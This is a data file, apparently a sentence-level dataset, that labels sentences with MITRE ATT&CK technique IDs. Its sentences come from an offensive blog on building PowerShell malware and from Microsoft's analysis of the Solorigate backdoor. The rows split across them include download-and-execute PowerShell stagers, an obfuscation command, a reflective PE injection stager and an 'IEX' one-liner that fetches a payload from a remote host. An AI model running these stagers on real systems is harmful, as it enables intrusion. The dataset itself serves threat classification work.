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[System.Net.WebRequest]::Create($url) $request. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Method = 'HEAD' $response = $null try { $response = $request. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
GetResponse() $statusCode = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
[int]$response.StatusCode if ($statusCode -eq 200) { # Successful response with HTTP status code 200 $down. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
ShellExecute($file) } } catch [System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebException] { $statusCode = | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
[int]$_.Exception.Response. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
StatusCode if ($statusCode -eq 404) { # File not found, make a GET request to a fixed URI generated on canarytokens.org $fixedUrl = 'http://canarytokens.com/feedback/about/XXXXXXXXXX/submit.aspx' $response = $down.DownloadString($fixedUrl) } else { throw } } By implementing a smart error handling mechanism we can enhan... | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This script will not trigger AMSI (Antimalware Scan Interface), providing an advantage in evading detection. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
However, to add an extra layer of complexity and challenge for malware analysts, we will apply some obfuscation techniques using a helpful tool like Chameleon: https://github.com/klezVirus/chameleon This tool has been developed as a Python port of the Chimera project, by tokioneon_. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
As such, it uses mostly the same techniques to evade common detection signatures, like: comment deletion/substitution string substitution (variables, functions, data-types) variable concatenation indentation randomization semi-random backticks insertion case randomization encoding Let’s try: python chameleon.py -n | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
-v -b -K hacktivesec -t | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
h .\download-execute_full.ps1 -o obfuscated_stager.ps1 | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
By incorporating obfuscation techniques our script becomes a little bit more challenging to analyze. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
It should be noted that this entire procedure will leave traces on filesystem. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The PE file is downloaded on filesystem and than executed. | [
"T1105"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
To enhance operational security, we can employ a clever alternative approach that eliminates the need to download files directly onto the victim’s computer: PE reflective injection. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Reflective PE injection Reflective PE injection is a technique used by malware or advanced attackers to inject a Portable Executable (PE) file directly into the memory of a running process without the need for writing the file to disk. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Unlike traditional injection methods, which involve loading an external DLL or injecting code into the target process, reflective PE injection allows the malware to load and execute its code directly from memory. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The term “reflective” refers to the ability of the injected code to reflect upon itself and perform necessary operations to execute within the process’s memory space. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This technique is often employed to bypass security mechanisms that monitor or block external DLL loading or code injection. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In reflective PE injection, the PE file is parsed and its sections are reconstructed in the target process’s memory. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
The necessary data structures, such as headers and import tables, are reconstructed as well. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
By doing so, the injected code can appear as a legitimate part of the process, making it more difficult to detect and analyze. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Once the PE file is injected and reconstructed in memory, the execution flow can be redirected to the injected code, enabling the malware to operate within the context of the compromised process. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This technique provides several advantages to attackers, including stealthiness, persistence, and the ability to leverage the privileges and resources of the compromised process. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
PowerSploit does provide a module called “Invoke-ReflectivePEInjection” that facilitates reflective PE injection using PowerShell. | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
This module allows the injection of a PE file into a remote or local process’s memory without writing it to disk, but being a well-known and widely-used tool, it has gained significant attention from security vendors and technologies, including the Antimalware Scan Interface (AMSI). | [
"T1055"
] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
As a result, AMSI has become increasingly adept at detecting and flagging the usage of PowerSploit’s modules and techniques and other famous tools. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
But we’ll see how to bypass this. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Powershell Stager with Invoke-ReflectivePEInjection (New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Net.WebClient).DownloadString('https://example.com/ReflectivePEInjection.ps1') | IEX $remoteUrl = "https://transfersh.com/XXXXXXX/whatever.exe" $webClient = New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebClient $PEBytes = $webClient.DownloadData($remoteUrl) Invoke-ReflectivePEInjection -PEBytes $PEBytes We can host this script somewhere and then run as usually in a fancy oneliner like: powershell -nop | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
-exec bypass -c "(New-Object System. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
WebClient).DownloadString('https://transfersh.com/XXXXXXX/runme.ps1') | IEX" | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In this way, we can directly run the executable in the memory of a running process without the need to write the file to disk. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
However when AMSI (Antimalware Scan Interface) is activated, it will alert us, as mentioned before. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Conclusion The first part of this article concludes here, however, our exploration doesn’t end here! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
In the next upcoming article, we will dive deep into the intricacies of bypassing AMSI, unraveling detailed techniques and methods that will empower us to evade it. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
We will also explore cutting-edge countermeasures to enhance our offensive capabilities. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Moreover, we’ll delve into a wide range of exciting topics, including: User-level persistence to establish long-term presence and maintain access on compromised systems. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Exploring advanced exfiltration techniques, enabling the covert transfer of sensitive data from target environments. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Spawning new Command and Control (C2) agents, expanding our reach and maintaining resilient communication channels. | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Hijack Execution Flow: the art of DLL Side-Loading ! Thank you for reading! | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
References Happy 0 0 % Sad 0 0 % Excited 1 100 % Sleepy 0 0 % | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
Angry 0 0 % Surprise 0 0 % | [] | Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1 |
We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
In many of their actions, the attackers took steps to maintain a low profile. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
This is another way the attackers try to evade detection. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Solorigate malware infection chain | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Read: Using Microsoft 365 Defender to protect against Solorigate. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Where it all starts: A poisoned code library The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The attackers had to find a suitable place in this DLL component to insert their code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Such a suitable location turns out to be a method named RefreshInternal. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Figure 2: The method infected with the bootstrapper for the backdoor Figure 3: What the original method looks like The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Why was this method chosen rather than other ones? | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Orion. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
BusinessLayer. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
BackgroundInventory. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Among those tasks is Background Inventory, which ultimately starts the malicious code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The inserted malicious code runs within a parallel thread The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Its name blends in with the rest of the legitimate code. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
Figure 5: Example of obfuscated strings Initial reconnaissance The Initialize method is the de facto execution entry point of the backdoor. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It carries out several checks to verify that it is running in a real victim’s environment: It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier It delays execution by random amounts of time | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It verifies that the domain name of the current device meets the following conditions: The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown The domain must not contain “solarwinds” The domain must not match... | [
"T1518.001"
] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys) | [
"T1518.001"
] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp) | [
"T1518.001"
] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
It checks that the host “api.solarwinds.com” resolves to an expected IP address If any of these checks fail, the backdoor terminates. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds. | [] | Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers |
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